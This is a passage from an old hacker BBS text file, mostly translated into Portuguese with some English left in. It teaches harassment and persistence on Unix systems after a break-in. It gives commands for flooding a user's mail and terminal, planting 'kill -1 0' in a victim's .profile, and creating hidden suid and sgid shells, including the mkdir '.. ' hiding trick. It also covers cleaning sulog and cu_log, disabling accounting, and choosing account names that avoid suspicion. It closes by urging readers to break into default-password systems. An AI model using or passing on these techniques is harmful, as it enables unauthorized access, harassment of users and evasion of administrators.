usuarios de outras formas. Uma coisa que voce pode fazer e encher o usuario de emails idiotas. A forma para fazer isso e encontrar um arquivo binario (30k ou maior) no sistema que voce tem acesso para ler. Entao, faca isso: $ cat arquivo_binario | mail loozer ou $ mail loozer < arquivo_binario Essas sao duas formas de enviar um email. A primeira messagem ira ter uma linha from mostrando quem mandou.. (voce), mas a segunda nao ira! Uma vez que ele nao existe, o leitor de email ficara saindo e dando ao usuario uma mensagem de erro ate o erro ser corrigido. O modo de fixar isso e ir ate a caixa de correio do usuario que foi atingido com esse truque (geralmente so o usuario ou o root podem fazer isso) editar o arquivo e ascrestar uma linha from.. tipo: From conta. entao ela vai ficar certo. Voce pode atrapalhar o usuario ao usar o comando "cat" para enviar um arquivo binario para a tty dele. Digamos que Loozer esta no tty12. Voce pode fazer.. $ cat arquivo_binario >/dev/tty12 $ Ele pode dar uma pausa enquanto ela faz a saida de dados. Se voce quiser continuar o que voce estava fazendo instantaneamente, faca: $ cat arquivo_binario >/dev/tty12& [1] 4690 $ E ele sera provavelmente desconectado. Voce pode enviar a saida de dados de tudos o que faz em seu terminal para ele. Tudo o que VOCE fizer em shell. Tipo isso: $ sh >/dev/tty12 $ Voce tera o prompt mas nao vera resposta a nenhum comando, o usuario ira... $ ls $ banner Idiota! $ echo Panaca! $ Ate voce digitar exit, ou teclar ctrl-d. Dica do LeBeau: Ai vi uma dica para ninguem disser que eu sou um lammer que so entende de Ingles: $ while : ; do > banner Idiota! >/dev/tty12 >done outra forma disso seria: $ banner Idiota! > idiota $ while : ; do > write loozer < idiota >done Isso vai fazer um loop infinito, enchendo a tela do usuario com a palavra Idiota! A diferenca do primeiro para o segundo seria que o segundo mostra quem enviou a mensagem ja a primeira nao. Existem muitas coisas que voce pode fazer. Voce pode enviar um write falso para alguem e fazer ele pensae que foi de alguem do outro lado do inferno. Seja criativo. Quando voce estiver olhando por coisas a fazer, procure por falhas, ou tente fazer alguem rodar um cavalo de troia que faz um shell suid. Se voce fizer alguem rodar um cavalo de troia que faz isso, voce pode rodar a suid, e desconectar aquele cara ao matar a PID principal dele. (kill -9 algumacoisa). Ou, voce pode tirar eles fora por um bom tempo acrescentando a linha "kill -1 0" ao .profile dele. No interior das falhas, sempre procure bits de suid maus. Em um sistema que devia ser invencivel Eu fui capaz de ler/modificar o email de todos, porque eu usei um mailer (programa gerenciador de email) que tinha tanto o GroupID quanto o UserID. Quando eu fui dar um shell a partir dele, o programa instantaneamente mudou meu ID efetivo de volta, assim eu nao podia fazer nada alem daquilo que eu podia fazer. Mas ele nao foi desenvolvido para trazer o GROUP ID de volta. O sysop errou nisso. Assim quando eu fiz o comando id eu vi que pertencia ao grupo "mail". Arquivos de email podem ser lidas/escritas pelo user "mail", e pelo grupo "mail". Eu entao fiz um shell sgid (set group id). Para mudar meu id de grupo para "mail" quando eu rodar ele, e procurar por importante emails e isso me deu uma boa informacao. Assim, fique de olho por permissoes pobres. Outra coisa, depois que voce ganha acesso, voce pode querer manter isso. Aqui estao algumas dicas sobre isso: 1. Nao espalhe. Se o sysadm ve que joeuser conectou 500 vezes numa noite.... entao.... 2. Nao fique muitas horas por vez. Eles podem tracar da onde voce esta. Tambem eles vao saber se voce e irregular se o joeuser estiver conectado depois de 4 depois do trabalho. 3. Nao destrua o sistema. Nao apague arquivos importantes. Use a maquina para algo especifico (para pesquisar codigo fonte, desenvolver programas, site de email). Nao seja um filho da mae com todos, e nao tente apagar tudo o que voce pode. 4. Nao mexa com os usuarios constantemente. Verifique os processos deles e rode o que eles rodam. Voce pode pegar uma boa info (snoop!) 5. Se voce acrescentar uma conta, primeiro olhe nas contas que ja existem. Se voce ve um monte de contas que tem apenas 3 letras, entao a sua deve ser tambem. Se um sistema usa "cln, dok, wed" ou algo assim, nao acrescente uma conta chamada "joeuser", acrescente alguma que e somente as iniciais. 6. Quando voce acrescentar uma conta, ponha um nome feminino, so se isso encaixa (Ou seja, se apenas companhias conectam no unix, ponha uma nome de companhia la). As pessoas nao suspeitam que hackers usem nomes de mulheres. Eles procuram por nomes de homens. 7. Don't cost the Unix machine too much money. Ie.. don't abuse an outdial, or if it controls trunks, do not set up a bunch of dial outs. If there is a pad, don't use it unless you NEED it. 8. Nao use x.25 pads. O uso deles e altamente descoberto. 9. Deixe o log acct desligado (acct off) se voce tiver como fazer isso. Ligue-o assim que voce terminar. 10. Remova qualquer cavalo de troia que voce deixou ativado para dar a voce acesso assim que voce tiver acesso. 11. NAO mude o arquivo MOTD para disser "Eu hackeei esse sistema" . Muitas, mas muitas pessoas fazem isso, e perdem o acesso dentro de 2 horas. 12. Tenha bom julgamento. Cubra seus rastros. Se voce usa su, limpe o sulog. 13. Se voce usa cu, limpe o cu_log. 14. Se voce usa o defeito smtp (wizard/debug), crie um shell de uid. 15. Esconda todos shell suid. Aqui esta como: goto /usr (ou outro dir) faca: # mkdir ".. " # cd ".. " # cp /bin/sh ".whatever" # chmod a+s ".whatever" Os "" sao necessarios para entrar no diretorio .. ! Ele nao ira aparecer em uma listagem de arquivos, e e dificil paca para os sysadms entrar se voce fizer 4 ou 5 espacos nele (".. "), porque tudo o que ele vao ver na listagem completa sera .. e eles nao serao capazes de entrar a menos que eles usem "" e saibam o espacamento. "" e usado quando voce quer fazer literais, ou use um coringa como parte do nome de arquivo. 16. Don't hog cpu time with password hackers. They really don't work well. 17. Nao use muito espaco em disco. Se voce arquivar algo para copiar, copie isso, depois apague os arquivos. 18. Basicamente -- CUBRA SEUS RASTROS. Algumas notas finais: Agora, eu escuto inúmeros rumores e estórias tipo "É muito difícil entrar nos sistemas...". Errado. (Yo Pheds! Voce estao lendo isso??). Isso é verdade quando voce está tratando com WAN, tipo telnet, tyment, e a Internet, mas não com computadores locais fora daquelas redes. Aqui esta a historia: A partir de alguns anos atrás, muitas companhias pequenas cresceram como VARs (Value Added Resellers, algo como revendedoras) para Unix e Hardware, de forma a fazer dinheiro. Agora, essas companhias rapidamente falam com outras companhias em comprar qualquer coisa, e eles fazem isso por Unix. Agora, o LeBeau está cheio de traduzir, uma rápida interpretação disso seria que as empresas deixam as senhas padrão de propósito para que as empresas (e quem mais quiser) possam entrar . Now, these companies fast talk companies into buying whatever, and they proceed in setting up the Unix. Now, since they get paid by the hour usaually when setting one up, they spread it out over days.... during these days, the system is WIDE open (if it has a dialin). Get in and add yourself to passwd before the seal it off (if they do..). Then again, after the machine is set up, they leave the defaults on the system. Why? The company needs to get in, and most VARs cannot use unix worth a shit, all they know how to do is set it up, and that is ALL. Then, they turn over the system to a company or business that USUALLY has no-one that knows what they hell they are doing with the thing, except with menus. So, they leave the system open to all...(inadvertedly..), because they are not competant. So, you could usually get on, and create havoc, and at first they will think it is a bug.. I have seen this happen ALL to many times, and it is always the same story... The VAR is out for a fast buck, so they set up the software (all they know how to do), and install any software packages ordered with it (following the step by step instructions). Then they turn it over to the business who runs a word processor, or database, or something, un aware that a "shell" or command line exists, and they probably don't even know root does. So, we will see more and more of these pop up, especially since AT&T is now bundling a version of Xwindows with their new System V, and Simultask... which will lead to even more holes. You'll find systems local to you that are easy as hell to get into, and you'll see what I mean. These VARs are really actually working for us. If a security problem arises that the business is aware of, they call the VAR to fix it... Of course, the Var gets paid by the hour, and leaves something open so you'll get in again, and they make more moolahhhh. Voce pode usar esse arquivo para qualquer coisa que quiser. Eu não posso parar voce. Apenas para aprender unix (heh) ou outras coisas. Mas é o seu rabo que vai ser preso se fizer besteira, não eu. Sempre considere as penalidades antes de tentar algo. Algumas vezes não vale o esforco, algumas vezes vale. Tente ser compreensivo, mesmo quando o sistema nao ajudar. Eu usei muitas técnicas e truques, especificamente para fazer que voce aprenda algo por si próprio, e também para reter informações assim voce terá muitos segredos. Voce pode passar esse arquivo, para qualquer BBS boa de H/P ou Home Page Boa sobre hackers.